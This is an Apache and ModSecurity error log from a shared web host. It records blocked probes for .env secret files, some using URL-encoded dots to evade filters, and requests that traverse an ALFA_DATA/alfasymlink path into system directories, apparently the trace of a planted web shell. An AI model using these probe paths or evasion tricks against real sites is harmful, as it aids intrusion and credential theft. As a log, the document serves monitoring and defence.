[Sat Oct 24 15:32:07.860803 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 45.138.12.49:44680] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.976253 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:44704] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:08.045816 2026] [core:crit] [pid 2693032:tid 2693032] (13)Permission denied: [client 45.138.12.49:44744] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:08.151067 2026] [core:crit] [pid 2693036:tid 2693036] (13)Permission denied: [client 45.138.12.49:44780] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:08.295637 2026] [security2:error] [pid 2684517:tid 2684517] [client 45.138.12.49:59150] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/staging/.env"] [unique_id "at0HuMCPy-URSwxIVqbrnQAAAAI"]
[Sat Oct 24 15:32:08.296204 2026] [security2:error] [pid 2684517:tid 2684517] [client 45.138.12.49:59150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/staging/.env"] [unique_id "at0HuMCPy-URSwxIVqbrnQAAAAI"]
[Sat Oct 24 15:32:08.296533 2026] [security2:error] [pid 2684517:tid 2684517] [client 45.138.12.49:59150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/staging/.env"] [unique_id "at0HuMCPy-URSwxIVqbrnQAAAAI"]
[Sat Oct 24 15:32:08.537119 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:44868] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:08.727809 2026] [core:crit] [pid 2693032:tid 2693032] (13)Permission denied: [client 45.138.12.49:44902] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:08.746945 2026] [core:crit] [pid 2693038:tid 2693038] (13)Permission denied: [client 45.138.12.49:44914] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:08.752203 2026] [core:crit] [pid 2693039:tid 2693039] (13)Permission denied: [client 45.138.12.49:44910] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:08.815365 2026] [core:crit] [pid 2693041:tid 2693041] (13)Permission denied: [client 45.138.12.49:44926] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:08.884837 2026] [core:crit] [pid 2693040:tid 2693040] (13)Permission denied: [client 45.138.12.49:44944] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:09.150253 2026] [core:crit] [pid 2693046:tid 2693046] (13)Permission denied: [client 45.138.12.49:45010] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:09.798946 2026] [core:crit] [pid 2693048:tid 2693048] (13)Permission denied: [client 45.138.12.49:45162] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:09.978413 2026] [core:crit] [pid 2693050:tid 2693050] (13)Permission denied: [client 45.138.12.49:45214] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:10.070741 2026] [core:crit] [pid 2693045:tid 2693045] (13)Permission denied: [client 45.138.12.49:45242] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:10.085840 2026] [core:crit] [pid 2693044:tid 2693044] (13)Permission denied: [client 45.138.12.49:45246] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:10.156320 2026] [core:crit] [pid 2693049:tid 2693049] (13)Permission denied: [client 45.138.12.49:45278] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:10.260549 2026] [core:crit] [pid 2693051:tid 2693051] (13)Permission denied: [client 45.138.12.49:45348] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:10.268895 2026] [core:crit] [pid 2693036:tid 2693036] (13)Permission denied: [client 45.138.12.49:45350] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:10.281161 2026] [ssl:error] [pid 2693042:tid 2693042] (70014)End of file found: [client 3.222.190.107:40495] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:32:10.351226 2026] [security2:error] [pid 2693037:tid 2693037] [client 45.138.12.49:33678] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/%2eenv%2elocal"] [unique_id "at0HuohQwOnMwNXSZxDBBwAAACs"]
[Sat Oct 24 15:32:10.351593 2026] [security2:error] [pid 2693037:tid 2693037] [client 45.138.12.49:33678] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/%2eenv%2elocal"] [unique_id "at0HuohQwOnMwNXSZxDBBwAAACs"]
[Sat Oct 24 15:32:10.351979 2026] [security2:error] [pid 2693037:tid 2693037] [client 45.138.12.49:33678] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/%2eenv%2elocal"] [unique_id "at0HuohQwOnMwNXSZxDBBwAAACs"]
[Sat Oct 24 15:32:10.567229 2026] [security2:error] [pid 2692916:tid 2692916] [client 45.138.12.49:33938] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/workspace/%2eenv"] [unique_id "at0Hupp3jNadeAKYnlDU_gAAAAY"]
[Sat Oct 24 15:32:10.567612 2026] [security2:error] [pid 2692916:tid 2692916] [client 45.138.12.49:33938] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/workspace/%2eenv"] [unique_id "at0Hupp3jNadeAKYnlDU_gAAAAY"]
[Sat Oct 24 15:32:10.568227 2026] [security2:error] [pid 2692916:tid 2692916] [client 45.138.12.49:33938] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/workspace/%2eenv"] [unique_id "at0Hupp3jNadeAKYnlDU_gAAAAY"]
[Sat Oct 24 15:32:10.803370 2026] [core:crit] [pid 2693032:tid 2693032] (13)Permission denied: [client 45.138.12.49:45496] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:11.231096 2026] [core:crit] [pid 2692986:tid 2692986] (13)Permission denied: [client 45.138.12.49:45580] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:11.242650 2026] [core:crit] [pid 2684557:tid 2684557] (13)Permission denied: [client 45.138.12.49:45582] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:11.264038 2026] [core:crit] [pid 2693048:tid 2693048] (13)Permission denied: [client 45.138.12.49:45588] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:11.278387 2026] [core:crit] [pid 2692985:tid 2692985] (13)Permission denied: [client 45.138.12.49:45594] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:11.307019 2026] [core:crit] [pid 2693044:tid 2693044] (13)Permission denied: [client 45.138.12.49:45600] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:11.320390 2026] [core:crit] [pid 2693049:tid 2693049] (13)Permission denied: [client 45.138.12.49:45602] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:11.401490 2026] [security2:error] [pid 2693050:tid 2693050] [client 45.138.12.49:34080] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/app/%2eenv%2edevelopment"] [unique_id "at0Hu3660ReuevnMFFHEUQAAADg"]
[Sat Oct 24 15:32:11.401797 2026] [security2:error] [pid 2693050:tid 2693050] [client 45.138.12.49:34080] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/app/%2eenv%2edevelopment"] [unique_id "at0Hu3660ReuevnMFFHEUQAAADg"]
[Sat Oct 24 15:32:11.402152 2026] [security2:error] [pid 2693050:tid 2693050] [client 45.138.12.49:34080] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/app/%2eenv%2edevelopment"] [unique_id "at0Hu3660ReuevnMFFHEUQAAADg"]
[Sat Oct 24 15:32:11.782620 2026] [core:crit] [pid 2693042:tid 2693042] (13)Permission denied: [client 45.138.12.49:45716] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:11.785466 2026] [core:crit] [pid 2693051:tid 2693051] (13)Permission denied: [client 45.138.12.49:45736] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:12.249994 2026] [core:crit] [pid 2678927:tid 2678927] (13)Permission denied: [client 45.138.12.49:45858] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:12.256083 2026] [core:crit] [pid 2693032:tid 2693032] (13)Permission denied: [client 45.138.12.49:45872] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:12.321466 2026] [core:crit] [pid 2692986:tid 2692986] (13)Permission denied: [client 45.138.12.49:45912] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:12.483362 2026] [security2:error] [pid 2692985:tid 2692985] [client 45.138.12.49:34246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/app/%2eenv"] [unique_id "at0HvPaWuJmd9ZTrhJMn0AAAABo"]
[Sat Oct 24 15:32:12.483708 2026] [security2:error] [pid 2692985:tid 2692985] [client 45.138.12.49:34246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/app/%2eenv"] [unique_id "at0HvPaWuJmd9ZTrhJMn0AAAABo"]
[Sat Oct 24 15:32:12.484056 2026] [security2:error] [pid 2692985:tid 2692985] [client 45.138.12.49:34246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/app/%2eenv"] [unique_id "at0HvPaWuJmd9ZTrhJMn0AAAABo"]
[Sat Oct 24 15:32:12.540791 2026] [core:crit] [pid 2684557:tid 2684557] (13)Permission denied: [client 45.138.12.49:46004] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:18.304249 2026] [security2:error] [pid 2693032:tid 2693032] [client 52.205.113.104:11262] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/mice/subsystem/event2/"] [unique_id "at0HwkIl6gQoQQDUXJKA_wAAACY"]
[Sat Oct 24 15:32:18.304292 2026] [security2:error] [pid 2693032:tid 2693032] [client 52.205.113.104:11262] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/mice/subsystem/event2/"] [unique_id "at0HwkIl6gQoQQDUXJKA_wAAACY"]
[Sat Oct 24 15:32:26.161016 2026] [ssl:error] [pid 2693018:tid 2693018] (70014)End of file found: [client 50.16.248.61:17117] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:32:38.207924 2026] [core:error] [pid 2693032:tid 2693032] (13)Permission denied: [client 100.28.44.58:6972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:04/physical_node/resource0
[Sat Oct 24 15:32:41.774011 2026] [core:error] [pid 2692997:tid 2692997] (13)Permission denied: [client 85.208.96.198:20682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uid_cache/cpu_slabs
[Sat Oct 24 15:32:42.135815 2026] [ssl:error] [pid 2692985:tid 2692985] (70014)End of file found: [client 52.7.13.143:36444] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:32:46.550138 2026] [core:error] [pid 2692977:tid 2692977] (13)Permission denied: [client 85.208.96.205:33196] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_node/aliases
[Sat Oct 24 15:32:50.218503 2026] [ssl:error] [pid 2693037:tid 2693037] (70014)End of file found: [client 34.192.125.239:24077] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:32:54.163697 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.195.60.66:64949] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:33:06.286838 2026] [ssl:error] [pid 2692997:tid 2692997] (70014)End of file found: [client 52.3.26.180:23930] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:33:26.178520 2026] [core:error] [pid 2692977:tid 2692977] (13)Permission denied: [client 18.205.91.101:31659] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:27/subsystem/tty22/subsystem/ttyS0/uartclk
[Sat Oct 24 15:33:34.132040 2026] [ssl:error] [pid 2693032:tid 2693032] (70014)End of file found: [client 3.225.9.97:59496] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:33:38.323926 2026] [ssl:error] [pid 2693045:tid 2693045] (70014)End of file found: [client 52.5.232.250:32305] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:33:47.941983 2026] [ssl:error] [pid 2692985:tid 2692985] (70014)End of file found: [client 185.191.171.11:39948] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:33:50.136471 2026] [ssl:error] [pid 2693048:tid 2693048] (70014)End of file found: [client 52.54.95.127:24078] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:33:54.134410 2026] [core:error] [pid 2692977:tid 2692977] (13)Permission denied: [client 54.147.182.90:34930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:12/eject
[Sat Oct 24 15:33:55.150978 2026] [security2:error] [pid 2693037:tid 2693037] [client 185.191.171.11:61400] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/site-packages/gi/_propertyhelper.py"] [unique_id "at0II4hQwOnMwNXSZxDBDQAAACs"]
[Sat Oct 24 15:33:55.151017 2026] [security2:error] [pid 2693037:tid 2693037] [client 185.191.171.11:61400] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/site-packages/gi/_propertyhelper.py"] [unique_id "at0II4hQwOnMwNXSZxDBDQAAACs"]
[Sat Oct 24 15:33:58.139615 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 3.232.82.72:17642] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:34:02.175346 2026] [ssl:error] [pid 2693032:tid 2693032] (70014)End of file found: [client 98.84.70.201:22171] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:34:06.146062 2026] [ssl:error] [pid 2693050:tid 2693050] (70014)End of file found: [client 52.3.156.186:6116] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:34:26.336171 2026] [ssl:error] [pid 2693018:tid 2693018] (70014)End of file found: [client 54.91.122.193:58310] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:34:32.119812 2026] [core:error] [pid 2693032:tid 2693032] (13)Permission denied: [client 85.208.96.198:36418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/partial
[Sat Oct 24 15:34:34.133071 2026] [core:error] [pid 2693045:tid 2693045] (13)Permission denied: [client 3.81.253.213:52998] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/memory23/subsystem/devices/memory9/node0/cpu0/crash_notes
[Sat Oct 24 15:34:42.226243 2026] [ssl:error] [pid 2692985:tid 2692985] (70014)End of file found: [client 54.204.12.115:63559] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:34:46.344976 2026] [ssl:error] [pid 2692977:tid 2692977] (70014)End of file found: [client 184.72.84.154:40993] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:34:54.145349 2026] [ssl:error] [pid 2693018:tid 2693018] (70014)End of file found: [client 35.171.117.160:32805] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:35:02.253954 2026] [ssl:error] [pid 2693045:tid 2693045] (70014)End of file found: [client 3.93.253.174:55058] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:35:22.180885 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 54.84.93.8:36473] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:35:46.158586 2026] [core:error] [pid 2692977:tid 2692977] (13)Permission denied: [client 3.226.106.93:7846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/sanity_checks
[Sat Oct 24 15:35:54.137184 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 107.20.25.33:3211] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:35:58.279705 2026] [ssl:error] [pid 2693032:tid 2693032] (5)Input/output error: [client 52.207.47.227:64184] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:36:06.147350 2026] [core:error] [pid 2692997:tid 2692997] (13)Permission denied: [client 3.90.73.206:36938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/8250_lpss/uevent
[Sat Oct 24 15:36:10.155211 2026] [ssl:error] [pid 2693050:tid 2693050] (70014)End of file found: [client 3.94.199.128:28681] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:36:22.286462 2026] [ssl:error] [pid 2692977:tid 2692977] (5)Input/output error: [client 3.216.86.144:53240] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:36:23.622956 2026] [core:error] [pid 2693037:tid 2693037] (13)Permission denied: [client 85.208.96.201:12348] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/slab_size
[Sat Oct 24 15:36:26.137688 2026] [ssl:error] [pid 2693018:tid 2693018] (70014)End of file found: [client 52.204.71.8:53083] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:36:30.242196 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 44.194.134.53:35366] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:36:40.818315 2026] [core:error] [pid 2692997:tid 2692997] (13)Permission denied: [client 85.208.96.200:31070] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/order
[Sat Oct 24 15:36:53.299930 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 85.208.96.206:57522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/trace
[Sat Oct 24 15:36:54.229298 2026] [ssl:error] [pid 2693032:tid 2693032] (70014)End of file found: [client 3.212.219.113:37442] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:36:55.090985 2026] [core:error] [pid 2693045:tid 2693045] (13)Permission denied: [client 85.208.96.200:12618] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/trace
